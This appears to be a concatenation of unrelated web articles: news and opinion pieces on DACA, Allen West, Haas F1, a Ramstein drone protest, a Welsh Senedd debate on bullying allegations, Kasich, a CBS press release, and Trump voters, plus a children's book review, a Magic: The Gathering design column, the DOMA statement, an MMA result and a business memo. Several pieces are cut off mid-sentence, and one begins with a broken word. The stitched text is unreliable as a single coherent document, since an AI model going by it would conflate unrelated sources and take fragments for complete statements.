Ryan Lenora Brown/The Christian Science Monitor An aerial view of another camp, this one near Bentiu, South Sudan, shows how the temporary tent cities are laid out in a perfect grid.
In recent decades, cracks in the postwar model have begun to show. One after another, refugee “situations” have begun to sprawl across decades: Afghans in Pakistan, Sahrawis in Algeria, Burmese in Thailand, Sudanese in Chad. The number of people displaced inside their own countries has been ticking up, too, putting an added burden on governments and aid organizations.
Dozens of Palestinian refugee camps are now more than a half-century old. In Zaatari, a sprawling settlement of 85,000 Syrians in the Jordanian desert, locals have |
iddy-looking Attorney General Jeff Sessions announced that the Trump administration would be terminating the Deferred Action for Childhood Arrivals (DACA) program, it sent shockwaves of fear through the 800,000 young immigrants directly affected, as well as their friends and families.
But there were also immediate signs of resistance and strength among immigrant communities and allies.
And some of those allies are among the most powerful people in the country: members of Congress.
From both sides of the aisle came messages of disagreement with Donald Trump’s cruel move, and promises of support and protection for immigrants and their livelihoods. And one of those voices in particular knows of what she speaks.
Democratic Sen. Kamala Harris’ state of California is home to roughly one quarter of the DACA recipient population — young folks who have been living, going to school, working, and contributing in the nation’s largest state and the world’s sixth-largest economy for many years.
Many of them “have only known one home, and this is it,” Harris told MSNBC’s Lawrence O’Donnell, “and we need to do the right thing for these kids.”
And that includes being true to the word that their country gave them. “When they first applied for DACA, we told them we would not share their personal information with [Immigration and Customs Enforcement]. And you know, our country has to keep our promise to these young people,” she declared.
“More people should inform themselves about who these young people really are,” she continued, “and stop demonizing them. It’s very easy to have an opinion about something you don’t know, but it’s also irresponsible.”
As Harris went on to note, Trump has been clear from the beginning about his stance on issues related to immigration, including in his staffing choices.
That was made evident and vehemently challenged by Harris herself during the confirmation hearing for Gen. John Kelly as secretary of the Department of Homeland Security. Kelly could not, or would not, provide any substantive answers to Harris’ questions about how those protected under the Obama-era DACA program would be treated by the Trump administration.
As for Sessions’ claim that rescinding DACA is the “compassionate thing to do,” Harris had no time for such doublespeak.
Again, we’ve got to stop vilifying this population. And, you know, as a leader, you’ve got to stop pulling out the boogeyman. These young people — let’s be very clear — they qualified for DACA because they cleared a vetting where there was a very, very intense process of looking into their backgrounds. Let’s everybody be clear about who these DACA kids are: In order for them to qualify for DACA, they had to answer a lot of questions, and there was basically an investigative process that took place to determine the circumstances of their arrival, to determine, are they living a lawful life? Have they ever committed a crime? Are they productive? And only when they cleared that vet did they receive DACA status. So yes, we want to make sure — we don’t want people who are committing crimes in our country to be here if they’re undocumented. But we also have to understand that when we’re talking about these kids who are in DACA, they have cleared a vetting process. So for the attorney general to suggest that they are other than lawful in terms of, in particular, committing crimes, it’s just — it’s irresponsible.
Trump has already put out a feeble signal flare that he knows he may not get what he supposedly wants on this issue.
But that doesn’t make up for the sudden upheaval and fear injected into millions of lives across the country, which President Barack Obama himself called out as “cruel” and “contrary to our spirit” as Americans.
Harris is right that Trump, Sessions, and the whole administration is calculatedly demonizing undocumented immigrants to pander to the lowest elements of their base.
But she and plenty of others won’t stop calling it out for what it is, and ensuring that Congress offers the White House nothing less than a firm rebuke of such callous disregard for humanity.You can also listen to this episode on iTunes | Stitcher | SoundCloud
What’s your definition of Making It? That's the last question I ask every guest on the show. When I think of making it, I think of longevity. It's not about what you can do in a year, but it's about what you can do in 20, 30, 40+ years of life. A lot of our guests have talked about focusing on the long game. One of the most common answers to this question besides getting paid to do what you love, is that making it is a constant pursuit that never really ends. When I think of "Making It," I think of people like Neal Casal. You'll hear his answer to this question at the end of this conversation.
Neal Casal has built a 30+ year career as a guitarist and singer-songwriter, who has released 10 original albums, toured and recorded with Ryan Adams and the Cardinals, and many more. Currently Neal is performing with the Chris Robinson Brotherhood who’s releasing a new album, Barefoot in the Head, on July 21st, 2017. He also performs with Hard Working Americans and Circles Around the Sun. Neal is a photographer whose work can be seen on his instagram channel and tumblr pages. He has shot album covers for Ryan Adams, Tift Merritt, and many more, and has performed on many albums as a sessions guitarist. In the last 6 years, he has released 9 albums between all the bands he’s currently playing with. He’s been able to build a beautiful long career, with so much more on the horizon.
In this conversation we go through Neal’s backstory, talk about the new album, how Circles Around the Sun got started, his time with Ryan Adams and the Cardinals, and much more. I could’ve probably gone to speak with Neal for another two hours, but this episode is a great intro to his life’s journey so far.
Support the Show & use our Amazon Banner for your next Purchase. Thank you!Imagine the "fun" that Fox Nation would have if a Democratic politician sent his wife a letter ordering her to perform "non-negotiable" sex acts! Just think what they would say if that letter included a comment, from said Democrat, about how the lucky lady is his "porn star." Now I don't have a problem with consensual kinky talk but if Fox Nation got its mitts on this type of thing, coming from a Democratic member of Congress, I imagine that it would be a lede for a day with accompanying commentary about degenerate "libs" who are trying to destroy the American family. But here's the thing. A "family values" Republican sent this very letter to his wife. Suffice to say, it's not on Fox Nation.
When GOP Congressional Rep. Allen West was with the US military, in Iraq, he sent his wife a letter with the above cited comments which were published by Florida based reporter Jose Lambiet. This is the same Christian, teabagging Allen West who says Planned Parenthood is "neutering" American men and that Dem. Rep. Debbie Wasserman Schultz isn't a "lady." West also said that riding his motorcycle was like "touching his wife." Dude seems to have some dominance issues - but that's all part of the right wing patriarchy so it's all good....Gene Haas has finally named a candidate to potentially drive for his new American F1 team in 2016.
It is Esteban Gutierrez.
Californian Haas was, however, speaking in Gutierrez’s native Mexico, where the FIA’s Sport Conference is taking place this week.
He told ESPN Mexico: "I met Gutierrez who is a good guy and talented and already at Ferrari at a high level."
Asked specifically if Gutierrez, 23, is a candidate to race for Haas next year, Haas answered: "At this point, anything is possible."
Haas F1 Team is entering F1 next year, in close collaboration with Ferrari. Gutierrez is a former Ferrari-powered Sauber driver who is now Ferrari’s reserve.
Toto Wolff, the Mercedes boss, thinks Haas could be a genuine threat in 2016.
"New teams are outside the aerodynamic testing regulations so they are completely free and that gives a big advantage," he told F1 business journalist Christian Sylt and Forbes.
"Haas will come in with a big advantage in comparison to all the others."An estimated 2,000 people protested Saturday outside Ramstein Air Base in Germany to demand the base end its reported involvement with U.S. drone operations. Photo by Kampagne STOPP Ramstein/Kein Drohnenkrieg/Facebook
RAMSTEIN, Germany, June 11 (UPI) -- Two thousand people formed a human chain outside Ramstein Air Base in southwestern Germany on Saturday to protest the base's reported involvement in U.S. drone operations.
The group "Stop Ramstein - No Drone War" was protesting the base's reported role in transmitting information between operators in the United States and unmanned aerial vehicles in Iraq, Afghanistan, Pakistan, Yemen and Syria.
Police estimated about 2,000 showed up at the event at the base, which is the U.S. headquarters for the Air Force in Europe. Organizers anticipated about 5,000 people would turn out but rain kept some people away.
"I'm very, very enthusiastic that all these people were willing to come out on a day like this to show how seriously they look at matters of war and peace," former CIA analyst Ray McGovern, one of the rally's featured speakers, said to Stars and Stripes.
Protesters had walked to the base from Kaiserslautern, Landstuhl and Ramstein-Miesenbach and linked hands.
Police allowed the protesters to block traffic leaving and entering the base for 10 minutes.
The protest was peaceful and there were no incidents, police said. Some demonstrators held anti-war posters. The rally also included songs, guitar music and speeches.
RELATED Drones and cheap cameras can monitor environmental change
Protester Albert Weber, 72, told Stars and Stripes the political situation in Europe would be "much better" without Ramstein. He noted the U.S. military's recent military drills in Poland. "They are going to upset Putin. With him, you never know what he's going to do," he said.
Former U.S. drone operator Brandon Bryant told Der Spiegel magazine in 2013 that Ramstein has coordinating Washington's global drone war.
Last month, the U.S. carried out a drone strike in Pakistan that killed Taliban leader Mullah Akhtar Mansour.(Title Image: Channel 4 News)
The Issue
Did the First Minister mislead (“lie to”) the Assembly on bullying allegations within the Welsh Government?
That’s the question at the heart of this and in addition to his handling of the Carl Sargeant affair has put his future in some jeopardy.
Written questions often get overlooked, but it was his answer to one in 2014 – where he denied knowledge of any allegations of bullying, around the same time Leighton Andrews and others are said to have made complaints – that’s prompted this extraordinary debate.
Carwyn Jones has already referred himself to a private investigation by an independent adviser on whether or not he broke the Ministerial Code in the two weeks around Carl Sargeant’s death, but the Conservatives are leading calls for a more in-depth, Assembly-led inquiry which would be held in public, involve witnesses and deal with bullying issues going back several years.
The Motion
The Senedd, under Standing Order 17.2, instructs the Scrutiny of the First Minister Committee to:
Establish an inquiry into allegations made by former members and advisers to the Welsh Government in relation to bullying, intimidation and the undermining of Ministers.
The inquiry should use the following terms of reference: the timing of the allegations, how those allegations were investigated, what actions were taken, the role of the First Minister and his office in dealing with those issues and answers given to AMs by the First Minister in relation to the allegations.
The Committee should take evidence from witnesses as part of its work.
The Committee should report its findings to the Senedd by February half-term 2018.
Key Points
Paul Davies AM (Con, Preseli Pembs.)
For (the motion): A parliamentary process is appropriate.
It’s crucial the bullying allegations are investigated in an open and transparent manner.
The Welsh Government rejected the idea of appointing an independent adjudicator for Ministerial Code breaches in 2014; now they think it’s the right thing to do.
We need a parliamentary process to investigate the inconsistencies in the First Minister’s comments.
The Leader of the House made it clear in a Business Committee meeting that she was happy with holding a committee inquiry “as soon as possible”.
An inquiry would be within the Scrutiny of the First Minister Committee’s remit.
The Welsh Government’s amendment is an attempt by the First Minister to set out his own scrutiny on his own terms.
The First Minister shouldn’t vote on the motion because it would be a conflict of interest as the motion deals with himself.
Leanne Wood AM (Plaid, Rhondda)
For: One form of scrutiny shouldn’t cancel out other forms of scrutiny.
The First Minister is yet to answer basic questions on the allegations and how they were dealt with.
It isn’t right for the First Minister to be police, judge and jury on Ministers’ behaviour.
Can’t support the government amendment (which would delete all and acknowledge the independent adviser) as one form of scrutiny can’t be allowed to delete another form of scrutiny.
Neil Hamilton AM (UKIP, Mid & West Wales)
For: We need to know the truth about bullying allegations.
We need to know which account of the bullying allegations – Leighton Andrews or Carwyn Jones – is the correct version of events.
The consequences of inaction over several years has had an unforeseen outcome.
It’s not good enough for Labour AMs to be Carwyn’s “Terracotta Army”; mute, immobile, silent.
Lynne Neagle AM (Lab, Torfaen)
Against: Not the right place to do it.
A Committee used to scrutinise policy decisions isn’t the best place for this kind of work.
Some witnesses may be uncomfortable giving evidence in public.
Doesn’t accept that voting it down would be seen as an attempt by Labour to duck public scrutiny.
Mick Antoniw AM (Lab, Pontypridd)
Against: Not the right place to do it.
James Hamilton is well-qualified to be an independent adjudicator.
The composition of the Committee (Labour majority) wouldn’t satisfy rules of “natural justice”.
It would transform a policy scrutiny committee into a standards of conduct committee.
Lee Waters AM (Lab, Llanelli)
Against: Not the right time; poor tone to the debate.
It’s “difficult and uncomfortable” to have this debate before Carl Sargeant’s funeral.
“I find it reprehensible the way that people have used this tragedy to settle scores from their time in Government.”
Has no objection to the Committee meeting on this after the independent report is published.
Andrew RT Davies AM (Con, South Wales Central)
For: The investigations and inquiries that have already been launched don’t cover the bullying allegations.
There are currently two investigations or inquiries underway: the Permanent Secretary’s discussions with the Sargeant family and the James Hamilton investigation into the First Minister’s actions over the last 2/3 weeks. The motion proposes a third investigation into the historic bullying allegations which could lead to recommendations in order to prevent a repeat.
Welsh Government Response
Leader of the House, Julie James (Lab, Swansea West)
Denied Paul Davies’ claim she agreed with an inquiry. She abstained from the vote in the Business Committee on whether there should be a Committee inquiry motion; she neither agreed nor disagreed with it.
Rejected the idea that there were “no-go areas” for scrutiny.
Accepts the Welsh Government should’ve started this process sooner.
Vote
The Government-amended motion – which deleted the original one and acknowledged/welcomed the appointment of an independent advisor – was passed by 29 to 27.
Carwyn Jones didn’t abstain (so this isn’t going to be the end of it). Even if he had the motion would still have been voted down, so ultimately he’s been saved from the investigation by Kirsty Williams and Dafydd Elis-Thomas.Republican presidential candidate Gov. John Kasich slammed Sen. Ted Cruz in Wednesday night’s debate for being willing to shut down the government to defund Planned Parenthood. But Kasich previously loved government shutdowns.
Kasich said that there are ways for governors to defund Planned Parenthood in their own states, but he strongly criticized the idea of a government shutdown. Kasich said that a shutdown would not accomplish anything and would only inflame people against Republicans. Kasich cited his own efforts to balance the budget, as House Budget Chairman in 1995 under Speaker Newt Gingrich, as an accomplishment that could be made without shutting down the government. Kasich said that Republicans “went around the president [Clinton]” to balance the budget.
But Kasich’s attack on Cruz rings false, because he was part of a Republican shutdown effort in 1995 that helped lead to the adoption of GOP budget priorities.
Kasich praised his own shutdown efforts in his 2006 book “Stand For Something” (pp. 86-87).
“In 1995 when the Republicans won the majority I became chairman of the House Budget Committee,” Kasich wrote. “We were poised and ready to balance the budget for the first time since man walked on the moon.”
“As it happened, Pres. Clinton wanted to phony up the numbers on this first go-round, so we shut down the government,” Kasich continued. “I look back and think it was one of the greatest moments of my career. Why? Well, typically, politicians make their decisions based on votes. And yet in at least this one instance politicians set aside these concerns and stood up for what was right. For our children. For our shared future. For America.”
“For this one battle, for the time being, we forgot about politics and focused on good government, and if we had to take a beating for it then so be it,” Kasich added. “And as a direct result of that government shutdown in 1995, we wrote a bill that provided for the first balanced budget in nearly forty years and allowed us to pay down the largest chunk of our staggering national debt in the history of this country.”CBS Mocks Its Own Failed Copyright Lawsuit By Sarcastically Announcing New 'Completely Original' Show 'Dancing On The Stars'
from the the-snark-is-strong-with-this-one dept
"I think is very likely to induce quite different behavior than one would expect to see in the 'Big Brother' show."
CBS ANNOUNCES DEVELOPMENT OF “DANCING ON THE STARS,” AN EXCITING AND COMPLETELY ORIGINAL REALITY PROGRAM THAT OWES ITS CONCEPT AND EXECUTION TO NOBODY AT ALL
Los Angeles, June 20, 2012 – Subsequent to recent developments in the creative and legal community, CBS Television today felt it was appropriate to reveal the upcoming launch of an exciting, groundbreaking and completely original new reality program for the CBS Television Network.
The dazzling new show, DANCING ON THE STARS, will be broadcast live from the Hollywood Forever Cemetery, and will feature moderately famous and sort of well-known people you almost recognize competing for big prizes by dancing on the graves of some of Hollywood’s most iconic and well-beloved stars of stage and screen.
The cemetery, the first in Hollywood, was founded in 1899 and now houses the remains of Andrew “Fatty” Arbuckle, producer Cecil B. DeMille, Douglas Fairbanks, Jr., Paul Muni, Benjamin “Bugsy” Siegel, George Harrison of the Beatles and Dee Dee Ramone of the Ramones, among many other great stars of stage, screen and the music business. The company noted that permission to broadcast from the location is pending, and that if efforts in that regard are unsuccessful, approaches will be made to Westwood Village Memorial Park, where equally scintillating luminaries are interred.
“This very creative enterprise will bring a new sense of energy and fun that’s totally unlike anything anywhere else, honest,” said a CBS spokesperson, who also revealed that the Company has been working with a secret team for several months on the creation of the series, which was completely developed by the people at CBS independent of any other programming on the air. “Given the current creative and legal environment in the reality programming business, we’re sure nobody will have any problem with this title or our upcoming half-hour comedy for primetime, POSTMODERN FAMILY.”
“After all,” the spokesperson added, “people who live in glass houses shouldn’t throw stones.”
A few weeks back, we wrote about a silly lawsuit from CBS, arguing that it could basically hold the copyright on some of the most basic concepts in reality TV. CBS was suing ABC, because ABC was about to put on, which was similar to CBS's. Of course, this is the nature of TV and most people deal with it. You can't copyright(or so we're told) but that doesn't seem to stop big companies from pretending otherwise. Here, at least, the judge wasn't convinced. He refused to issue an injunction blocking the showing of, and noted that it certainly looked like the ideas were different:CBS had put out a statement saying that it would keep fighting the lawsuit, but apparently it decided on another way to fight this as well: by snarky press release. In something that honestly reads like it was meant for April Fool's Day (and caused many people to wonder if CBS's system had been hacked), the company put out a mocking and sarcastic press release supposedly announcing a "groundbreaking and completely original new reality program" called. Here's the full press release:Yeah, that last sentence might push this one a bit far over the top, don't you think? This is the kind of response that people have and joke about. They don't release it to the world. I will grant you that it's amusing, but it also seems pretty petulant for a company having lost the basic argument in its lawsuit. If it really is going to fight on with this lawsuit, perhaps so publicly mocking the judge who ruled against you isn't such a good idea.
Filed Under: big brother, glass house, reality tv, television
Companies: abc, cbsOne year ago today, Americans elected Donald Trump as our 45th president. What do they think now?
Democrat Halle Minchin-Skook, a special education teacher who voted for Hillary Clinton in 2016, said her views on President Trump have not changed since the election.
"His rhetoric – he's just a bully," Michin-Skook told CBS News' Elaine Quijano. "And I just morally, I cannot support someone like that."
Republican Steven Shook, a musician who voted for Mr. Trump, said he'd still cast the same vote.
"I really feel like, in a lot of ways, he got a crash course in Politics 101, but at the same time, he's really come through fairly well," Shook said.
In our ongoing series, "We the People," we've followed four people from across the country with varying political beliefs and perspectives. We brought the four of them – Michin-Skook, Shook, Leo Smith and Cesar Vargas – to New York City to meet for the first time.
(L to R) Leo Smith, Cesar Vargas, Halle Minchin-Skook and Steven Shook CBS News
Smith, an activist and businessman, also voted for Mr. Trump last fall. He ran for a seat in Georgia's state senate and lost the election on Tuesday.
"I think even more today, I'm more convinced that Donald Trump was the right person for what we needed in America at this time," Smith said. "The economic growth that we are experiencing. I think that the last couple of months we've experienced three percent growth and that is a bigger number than I thought that was even possible."
Vargas, a lawyer and undocumented immigrant who couldn't vote, wasn't as positive.
"This administration disappointed me because of the fact that he is trying divide all of us, when, in fact, we're all in this together. And, yeah, I cannot support someone like that," Vargas said.
"We have… been divided, we've just been silent about it," Smith said in response.
We the People: Americans share their letters to President Trump
The group also reflected on the Charlottesville white supremacist rally in August that led to violent clashes, which starkly exposed divisions within the country.
"You have people who are truly racist, people who are truly anti-immigrant, people who truly want to have this nation as a white nation," Vargas said. "And this administration is just simply, surprisingly is just fueling that division amongst us."
"I was horrified by that entire situation in Charlottesville," Smith said. "I mean, Donald Trump did not create white nationalism. He did not create the Nazis. … Those people existed. And so we needed to see them. They are in the light now. … And so, yeah, the way I've always looked at Donald Trump is sort of like he's a catalyst to bring awareness."
"There is nothing more anti-American than those groups," Shook said. "No offense to the media, but I think the media really construes it into that whole thing and helping place blame on the president."
We the People: Americans share hopes, fears for Trump presidency
Mr. Trump received criticism after he blamed "both sides" for the Charlottesville violence.
"You had a group on one side that was bad and you had a group on the other side that was also very violent. And nobody wants to say that, but I'll say it right now. You had a group on the other side that came charging in without a permit and they were very, very violent," Mr. Trump said in August.
"It's true," Shook said. "There is violence on both sides of it. There is bad people on both sides of it. And it's not just Donald Trump."
Minchin-Skook, on the other hand, said she was "appalled" by Mr. Trump's response.
"I think Donald Trump's rhetoric has allowed these people to be more vocal about it. And honestly, I think it's a good thing because now we can do something about it," she said.
We the People: Americans reflect on President Trump's first month
A recent CBS News poll shows the president's overall job approval rating is 39 percent. Among Republicans, 84 percent approve of his performance.
"The last time we talked to you, Steven and Halle, you both agreed that the president was effective in dealing with global issues like Syria and with Korea," Quijano said.
"I do agree with that," Minchin-Skook said. "We have the strongest military in the world. We need to keep it that way. And I agree with… Syria, how we bombed over there."
But she said the president "needs work" on his rhetoric and how he speaks about other world leaders, including North Korean leader Kim Jong Un.
"Like the 'Rocket Man' and the 'fire and fury,'" Minchin-Skook said. "Like you can say those things but not using that verbiage."
"It's one thing to be tough in the world arena but another things to be reckless," Vargas added.
Shook said he believes Mr. Trump has a "compassionate side."
"I do believe that he's improving," Shook said. "The thing about Donald Trump is that he's not a politician, he's a businessman. And he's also a TV personality, too. … And he's learning… what it's like to be a leader of this country. And I think that seeing that gave me a lot of hope."
But Vargas said Mr. Trump's rhetoric has "concrete, detrimental effects." Despite having been a businessman and TV personality, he said the country needs Mr. Trump to be a president right now.
"Like what happened in Puerto Rico — U.S. American citizens who have suffered and lost everything," Vargas said. "And then he throws napkins as if this is a football game."
"Is there anything that you heard today that surprised you or changed your opinion at all?" Quijano asked the group.
"Well, being able to engage with folks from all over the country with, you know, sort of different, divergent backgrounds… Look, we are very similar. We are very similar," Smith said. "We all have aspirational hopes for our country, for our communities."
"I think, for me, it's just bringing all of us together and appreciating each other as neighbors, not as, 'Oh, you're Republican, you're my enemy,'" Vargas said.
"We don't always agree on things, but if more people would just talk to one another respectfully and respect people's differences of opinion, I think the United States would be a much better place," Minchin-Skook said.
"For the most part, I think that we all want to see everybody doing well," Shook said. "And we all want to see the president succeed."Like most kids, I was drawn to Jon Scieszka and Lane Smith’s The Stinky Cheese Man And Other Fairly Stupid Tales by its promise of gross humor. With a small man made of cheese who can’t get anyone to chase him because he smells so badly, that promise is definitely fulfilled. But the book became a childhood favorite because of how it flips classic children’s stories on their heads, avoiding the clunky morals that irritated me about fairy tales.
It took me a long time to start appreciating classics—in books, movies, music, or TV. I’ve always had a rebellious streak, so the idea that I should respect a piece of culture simply because an adult told me it was a classic never sat too well. In college, I started to care about how old works shape and inform the new; but, even then, contemporary writers spurred my interest in literature. Although I took my disrespectful ideals too far, this irreverent attitude helped me think for myself.
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The Stinky Cheese Man encourages this mindset. The book begins with Little Red Hen announcing that she’s found a kernel of wheat. But Jack, the impish narrator, interrupts her. “You can’t tell your story right here,” he says. “This is the endpaper.” From the beginning, readers know that Jack’s characters exist outside of his control. The dedication page, which appears after the cleverly titled “Title Page,” is upside down. Jack assures us that he already knows about the mistake, but it doesn’t matter, because “Who ever looks at that dedication stuff anyhow?” Reading the book as a child, I laughed at Jack’s silliness, knowing on some level that this material throws his reliability as a narrator out the window, even though I didn’t have the language to articulate it.
In the introduction, Jack says, “A long time ago, people used to tell magical stories of wonder and enchantment. Those stories were called Fairy Tales.” Then he flatly states, “Those stories are not in this book.” I loved this refusal to revere the classics. A play on “Chicken Little,” first story “Chicken Licken” follows a frazzled green chicken who’s convinced the sky is falling. The sky isn’t falling, though—it’s the table of contents that Jack forgot to include, and it squashes everyone in the story.
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“The Princess And The Bowling Ball” mocks the hyper-privilege of “The Princess And The Pea,” and third story “The Really Ugly Duckling” rejects the redemption of the original tale. Many of Smith’s illustrations in The Stinky Cheese Man are laced with a subtle malevolence, and the duck in “The Really Ugly Duckling” is captured with the tongue-lolling mania of mental-patient caricatures from early cartoons. My favorite part of this story, however, is the end. The maniacal duck doesn’t discover that he’s a beautiful swan. Instead, “he was just a really ugly duckling. And he grew up to be a really ugly duck.” Happy endings have become the go-to for kids’ stories. But coddling children with the idea that everything will always turn out fine is dishonest. “The Really Ugly Duckling” carries a more useful message about embracing personal quirks.
Jack’s fallibility as a speaker is again emphasized in “Little Red Running Shorts.” Rather than just introducing the story like he’s supposed to, he gets too excited and blurts out the whole thing, after which the wolf and Little Red Running Shorts refuse to tell it again. The tale was slotted to fill three pages, so a blank page appears on the flip side. With the flaws in Jack’s book, as well as the trouble the narrator has controlling his characters, Scieszka and Smith demystify the writing process. Growing up, books seemed like artifacts that just existed, like they were created by otherworldly beings, a feeling that was reinforced by the overused vehicle of the omniscient narrator. But The Stinky Cheese Man pushes kids to think of books as human products—as pieces of culture they too can construct.
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“Jack’s Bean Problem” gets tugged back and forth between Jack and The Giant while also playing with text layout. “Cinderumpelstiltskin” and “The Tortoise And The Hair” end with the quotidian bluntness of “The Really Ugly Duckling.” The title story then inverts “The Gingerbread Man.” Unlike his cookie counterpart, no one wants to eat this little fellow. “The Stinky Cheese Man” finds momentum as much from its illustrations, which convey a similar ghoulishness as the characters in The Nightmare Before Christmas, as its text. A cow’s jaw unnervingly drops as if made of clay, and the fox’s toothy grin is the stuff of bad dreams. In the end, the small man made of malodorous cheese gets discarded into a river, where he falls apart. No lessons about not trusting strangers here: just a few lumps of cheese that dissolve in water.
Critical thinking and skepticism seem like two of the most important qualities to instill in kids. They’re also some of the more elusive things to teach. There are no tables to memorize, no nursery rhymes to help children question what they’re told. These thought patterns are learned gradually, so books like The Stinky Cheese Man can stimulate the process of questioning pop-culture artifacts—and maybe even the world at large. Scieszka and Smith’s stories are also just entertaining, giving parents a healthy alternative to the good ol’ whiskey-in-warm-milk routine to put their kids to bed.Welcome to Magic Origins Preview Week 2. Last week I began telling you the story of the design of Magic Origins. I left things in a bit of a cliffhanger, so I figure I'll pick up where I left off and finish the story. (If you haven't read last week's column, I strongly urge you do so as I'm assuming you have.) I also have another cool preview card to show you. Hopefully that entices you to jump to the next paragraph.
"And Now For Something Completely Different"
When the last column ended, the Magic Origins design team found out that due to some major shake-ups in Magic (see this article if you have no idea what I'm talking about) they were going to have to scrap their current design and start all over. Also, the scope of the project had gotten bigger even though they only had half the time to design it. Here's what was on their plate:
Figure out the ten two-color archetypes and match them to the ten worlds in the set
Design five transforming Planeswalkers
Create two brand new mechanics
Create a mechanical framework to allow the creative to tell five different stories
Find appropriate reprints
Make a fun core set
Let's walk through these tasks and see how they accomplished each of them.
Figure out the ten two-color archetypes and match them to the ten worlds in the set
Shawn Main (the lead designer of Magic Origins) and his team structured the set to create five parallel Planeswalker stories. In each one, we would start on the Planeswalker's home world, learn about their life, watch their spark ignite, and see them planeswalk for the first time. Then we follow them on their adventure on the plane of their first visit. This meant the set would have ten planes (five home planes and five first visits). The set needed ten two-color Draft archetypes, so Shawn and his team had the bright idea of lining them up. This proved to be a bit complicated.
There are obviously ten two-color pairs:
White-Blue White-Black Blue-Black Blue-Red Black-Red Black-Green Red-Green Red-White Green-White Green-Blue
Each one had to be tied to one of the ten planes in the set. The first thing Shawn had to do was to consult with the story team to figure out what exactly those ten planes were. Let's start with the home planes. Nissa was from Zendikar. She was there in the original Zendikar block and it was firmly established that Zendikar was her home. It was known that Liliana was from Dominaria, although this knowledge didn't seem to be widely known by the public (who were very excited, by the way, when they learned Liliana was from Dominaria after Jenna revealed the fact a few weeks ago). The home plane of the other three were not publicly known.
The story team knew that Gideon was from Theros. (There were a few small teases about this such as the flavor text for the card Desperate Stand from Journey Into Nyx.) They knew Chandra was from a world that we had never seen before. Based on her outfit, it was a world with some aspect of a steam punk feel. I'm not sure when Jace's home world was decided upon as Vryn. It might go all the way back to Planechase, where the card Trail of the Mage-Rings first appeared, the only card before Origins that showed Vryn. Jace's missing information about his own home world made it something that no one publicly had any clue about.
Next was figuring out what the first world they planeswalked to was. I believe Gideon's first planeswalk to Bant (aka a shard of Alara) had been heavily hinted at. Likewise, Chandra had been connected to the fiery plane of Regatha in the novel Purifying Fire. For the other three characters it was a matter of figuring out what led to the best story. Jace's strong tie to Ravnica made it a perfect first planeswalk for Jace, as did Liliana's thematic connection with Innistrad. Nissa's story required her interacting with a different kind of elf so, after a little searching, it was decided that Lorwyn was the perfect fit.
This meant that we now had our ten planes:
Planeswalker Home Plane First-Planeswalk Plane Gideon Theros Bant Jace Vryn Ravnica Liliana Dominaria Innistrad Chandra Kaladesh Regatha Nissa Zendikar Lorwyn
Now the trick was to line the two up. The first obvious decision was that as we were following five characters that were each monocolor |
the Second Circuit, however, which has no established or binding standard for how laws concerning sexual orientation should be treated. In these cases, the Administration faces for the first time the question of whether laws regarding sexual orientation are subject to the more permissive standard of review or whether a more rigorous standard, under which laws targeting minority groups with a history of discrimination are viewed with suspicion by the courts, should apply.
After careful consideration, including a review of my recommendation, the President has concluded that given a number of factors, including a documented history of discrimination, classifications based on sexual orientation should be subject to a more heightened standard of scrutiny. The President has also concluded that Section 3 of DOMA, as applied to legally married same-sex couples, fails to meet that standard and is therefore unconstitutional. Given that conclusion, the President has instructed the Department not to defend the statute in such cases. I fully concur with the President’s determination.
Consequently, the Department will not defend the constitutionality of Section 3 of DOMA as applied to same-sex married couples in the two cases filed in the Second Circuit. We will, however, remain parties to the cases and continue to represent the interests of the United States throughout the litigation. I have informed Members of Congress of this decision, so Members who wish to defend the statute may pursue that option. The Department will also work closely with the courts to ensure that Congress has a full and fair opportunity to participate in pending litigation.
Furthermore, pursuant to the President ’ s instructions, and upon further notification to Congress, I will instruct Department attorneys to advise courts in other pending DOMA litigation of the President's and my conclusions that a heightened standard should apply, that Section 3 is unconstitutional under that standard and that the Department will cease defense of Section 3.
The Department has a longstanding practice of defending the constitutionality of duly-enacted statutes if reasonable arguments can be made in their defense. At the same time, the Department in the past has declined to defend statutes despite the availability of professionally responsible arguments, in part because – as here – the Department does not consider every such argument to be a “reasonable” one. Moreover, the Department has declined to defend a statute in cases, like this one, where the President has concluded that the statute is unconstitutional.
Much of the legal landscape has changed in the 15 years since Congress passed DOMA. The Supreme Court has ruled that laws criminalizing homosexual conduct are unconstitutional. Congress has repealed the military’s Don’t Ask, Don’t Tell policy. Several lower courts have ruled DOMA itself to be unconstitutional. Section 3 of DOMA will continue to remain in effect unless Congress repeals it or there is a final judicial finding that strikes it down, and the President has informed me that the Executive Branch will continue to enforce the law. But while both the wisdom and the legality of Section 3 of DOMA will continue to be the subject of both extensive litigation and public debate, this Administration will no longer assert its constitutionality in court.Ali Bagautinov was one of many top ranked contenders that the UFC allowed to walk to other promotions during free agency. The former #7 ranked flyweight in the world went back to Russia in his first bout outside the UFC.
Bagautinov took on WSOF vet Tyson Nam in Fight Nights Global 64, and he was handily winning for about 14 minutes and 59 seconds of their bout. That’s until this happened.
Tyson Nam (USA) KO's Ali Bagautinov pic.twitter.com/vyiCuH2Sbs — Jolassanda (@Jolassanda) April 28, 2017
With mere seconds left in their contest, Bagautinov threw an ill advised front kick that missed. Nam immediately countered with a beautiful head kick that put the former UFC star out as the bell rang.
It’s yet another example of how crazy and unpredictable Mixed Martial Arts can get. Bagautinov was well on his way to win a pretty clear cut decision on his first bout outside the UFC, but instead, he was left out cold as the final buzzer rang.
The loss marks Bagautinov’s second straight defeat. His overall record drops to 14-6. Nam improved to 15–8–1.Morning Business Memo…
The biggest story on global financial markets today is the collapse of gold and silver prices. Gold is down more than $90 an ounce since Friday - a fall of about 7 percent. The price drop comes on top of last week's 4.7 percent tumble. Silver prices tumbled 8 percent, or $24 an ounce. Copper is also falling. The reasons for the plunge are linked to the recent rise in the stock market, the slow, steady improvement of the US economy and the recent strength of the dollar. Crude oil futures have tumbled on global markets, down to less than $89 for West Texas crude, the lowest price since December, 2012. For years gold bugs have predicted economic apocalypse with hyper-inflation and a collapse of stock prices. That simply hasn't happened, and many investors have given up on gold, shifting funds out of precious metals. Last week Goldman Sachs issued a report, predicting gold prices would tumble. More volatility is expected in the days to come.
READ MORE: Gold has biggest two-day fall in 30 years.
Dish Network is offering to buy Sprint Nextel in a cash and stock deal worth more than $25 billion or $7 a share. The offer is in competition with a complicated bid for Sprint by the Japanese-owned telecommunications and Internet firm Softbank. Sprint's stock jumped 13 percent in pre-market trading. Sprint shares closed at $6.22 on Friday. Dish argues that the deal represents a premium to Softbank's proposal to buy 70 percent of Sprint for $20.1 billion. Softbank is seeking approval from U.S. authorities for its purchase that would be Japan's biggest foreign acquisition ever.
